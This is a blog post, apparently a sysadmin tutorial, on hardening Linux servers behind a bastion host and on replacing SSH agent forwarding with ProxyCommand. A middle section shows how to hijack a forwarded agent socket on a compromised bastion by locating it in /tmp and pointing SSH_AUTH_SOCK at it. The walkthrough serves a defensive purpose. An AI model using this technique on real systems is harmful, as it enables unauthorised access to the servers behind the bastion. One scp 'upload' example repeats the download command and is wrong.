Friday, September 7, 2018

How to make your servers properly secure - Why agent forwarding is dangerous

In this article, I'll show you how to hack server if is bastion host is compromised.  let's talk for about bastion host...

What is the bastion host?
On Wikipedia, you may read that  "bastion host is a special purpose computer on a network specifically designed and configured to withstand attacks."  but it's more important to make correct server configuration otherwise bastion host can be a weapon for an attacker.



How to configure bastion server?
Let's configure Linux servers and then we can start hacking.  Imagine that we have N number of Linux instances and one bastion server. We will use private key ssh authentification for our Linux instances. For testing purpose, we will use user/password authentification for the bastion server. Let's start the configuration.
  • Create a user for the server
adduser bastion
passwd bastion
  •  open sshd_config and edit configuration. Change PermitRootLogin yes to PermitRootLogin no
vim /etc/ssh/sshd_config
  • Restart sshd and check the status
systemctl restart ssh
systemctl status sshd

You should see something like that:
[vq@localhost~]# systemctl status sshd
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; 

 enabled; vendor preset: enabled)
   Active: active (running) 
 
since Wed 2018-07-04 10:02:06 UTC; 32s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
 Main PID: 11595 (sshd)
   CGroup: /system.slice/sshd.service
           └─11595 /usr/sbin/sshd -D
Jul 04 10:02:06 systemd[1]:Starting OpenSSH server daemon...
Jul 04 10:02:06 sshd[11595]: Server listening on 0.0.0.0 port 22
Jul 04 10:02:06 sshd[11595]: Server listening on :: port 22
Jul 04 10:02:06 *** systemd[1]: 
  Started OpenSSH server daemon.
Now you can't log in via the root user. You can see if this configuration checks out.
vq@localhost:~> ssh root@X.X.X.X
root@X.X.X.X's password:
Permission denied, please try again.
  •  Let's block user if he/she tries to log in with incorrect user/password. For example we can give him/her three chances to log in - otherwise, we can block permanently or temporarily. So we can use  fail2ban.
sudo yum install epel-release
sudo yum install fail2ban
  • Duplicate fail2ban configure to create override config file:
cp /etc/fail2ban/fail2ban.conf /etc/fail2ban/fail2ban.local
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
vim jail.local
  •  If you use CentOS you need to change backend variable in the configuration. Just open  jail.local file and change auto to systemd.
 [DEFAULT] 
 backend = systemd 
  • Now enable SSH daemon jail in the jail.local file (anyway it's necessary for CentOS 7)
[sshd]
enabled = true
  • Set bantime, findtime, and maxretry values. For example:
bantime  = 1000
findtime = 1000
maxretry = 3
  • Enable fail2ban and restart service
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

Now if you try authentification with incorrect user/password you will be blocked.
 



How to configure ssh private key authentification on Linux?
  • Crate user in the server
adduser usr
passwd usr
  • Generate ssh keys
     ssh-keygen
  • Copy public key to the server
    ssh-copy-id -i ~/.ssh/name.pub usr@IP
  • Login using private key:
 
    ssh -i name usr@IP
  • Disable root login and password authentification to the following file:
 
    vim /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
  • hmm... why not to change SSH port? Let's tell SELinux that we need to change it. Let's use just random number 2597
   
    yum -y install policycoreutils-python
    semanage port -a -t ssh_port_t -p tcp 2597
  • Now change port in sshd_config.  
vim /etc/ssh/sshd_config
    Check configuration file
    sshd -t
  • Restart services
 
    sudo systemctl restart sshd
  • Check what port is LITESENING
 
    sudo netstat -lntp | grep ssh
  • Allow ssh login only from bastion. So open 2597 port only for bastion. If you use firewalld run the following command:
 
 firewall-cmd  
 --permanent   
 --zone=public  
 --add-rich-rule='rule family="ipv4" 
 source address="BASTION_IP/32"   
 port protocol="tcp" 
 port="2597" accept'

If this is not your server just check your default zone.
 
firewall-cmd --get-default-zone
 

And check your rules:
  
firewall-cmd --list-all

But maybe you prefer to use iptables instead of firewald:
iptables -I INPUT -p tcp -s BASTION_IP  --dport 2597 -j ACCEPT
iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 2597 -j DROP

if this is not your own server just check iptable rules and remove some of them if necessary:

iptables -L --line-numbers
sudo iptables -D INPUT {line}

How to access my server via the Bastion? Generally, there are many ways but some of them are not secure. Let's talk for about them.

 
How to use AgentForwarding
  • Create config in ~/.ssh/config
    Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

  • Add your authentification key to ssh agent
ssh-add ~/.ssh/name_rsa
  • Connect to bastion host using username/password
    ssh bast
  • Connect application server
    ssh app@IP -p PORT

As you see you should connect your remote servers via the bastion server.  The same scenario is if you want to upload/download files:
  • Download file from remote server to BASTION. Run the command in Bastion server
    scp -P PORT app@IP:/src_path  /dest_path
  • Download file from BASTION to LOCA machine. Run the command in LOCAL machine:
    scp  -P PORT bastion@ip:/src_path /dest_path
or
   scp  -P PORT bast:/src_path /dest_path
  • Upload file to BASTION
scp   /src_path bastion:/dest_path

You may, well, ask me the question: Is my server secure?  And the answer is quite simple:
- Le't me tell you: NO!
 - Why?
 - Because you are using SSH Agent forwarding?
 - And where is the problem?
 - Because Agent forwarding is dangerous and it's consider considered harmful.

Let's explain everything inside out:  When you connect bastion host your glorious ssh agent is forwarded. It means that the socket will be set up so that someone may use this socket data to access your servers. Imagine that your bastion server is compromised, If someone has sufficient permissions on your Linux server he/she will just use your socket info. As a result, all your server can be accessed. I know window of compromise is very small because it depends on how much time you are connected to the bastion host. But do you really want to the risk when you have other options like ProxyCommand? Hence, just use ProxyCommand!

How to hack servers if you compromised bastion host?

In /tmp directory you may see something like that:
[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo
let's open the temporary file
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507
Let's see connections to this process id.
netstat -nxp | grep  10507
result:
unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion
and who is connected?
lsof -i -a -p 10507
result:
COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
We can also see socket files:
cd /proc/10507/fd/
ls
result:
lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]
And what happens when client will be connected to remote server? let's see:
lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]
We can even see if socket file is used using netstat:
unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion
but wait we need to steal the socket information while the session of bastion host is open. Oh, we also need destination server IP, so just use netstat It's funny but you might find something like that on the internet.:
netstat -tn 2>/dev/null 
grep :22  | awk '{print $5}' | cut -d: -f1 | 
sort | uniq -c | sort -nr | head
Sometimes people try to demonstrate their knowledge  but just make everything simple.
netstat -tn
The final step to use the forwarded socket file
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Check if the key is loaded.
ssh-add -l
result should be something like that:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Ok. We have seen that Agent Forwarding is a problem. But where is the solution? Fortunately, we can just use a proxy command. So let's rewrite our configuration:
Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******
Now  it's very simple to connect your server
ssh app
Do you want to download something from bastion?
scp bast:/home/bastion/sh ~/
Maybe you want to download something from the remote server via the bastion tunnel:
scp -P **** app:/src_path  /dest_path
Maybe you want to ypload something to remote server via the bastion tunel:
scp -P **** app:/src_path  /dest_path

Conclusion
  • If you use bastion host, don't use AgentForwarding but use ProxyCommand
  • Always use non root user for authentification
  • Use firewall and block all unnecessary connections.
  • Use SELinux
  • Block the IP address who  tries to login  several time with incorrect credentials
  • If it's not necessery don't give sudo permission to the user
  • Monitor your server
  • Update your server for security patches
Posted by at

1 comment:

  1. AnonymousJanuary 14, 2022 at 3:50 AM

    Once you have compromised the server, what access do you actually have? Are you able to hop around as that user, or is it something like a mitm scenario?

    ReplyDelete

Subscribe to: Post Comments (Atom)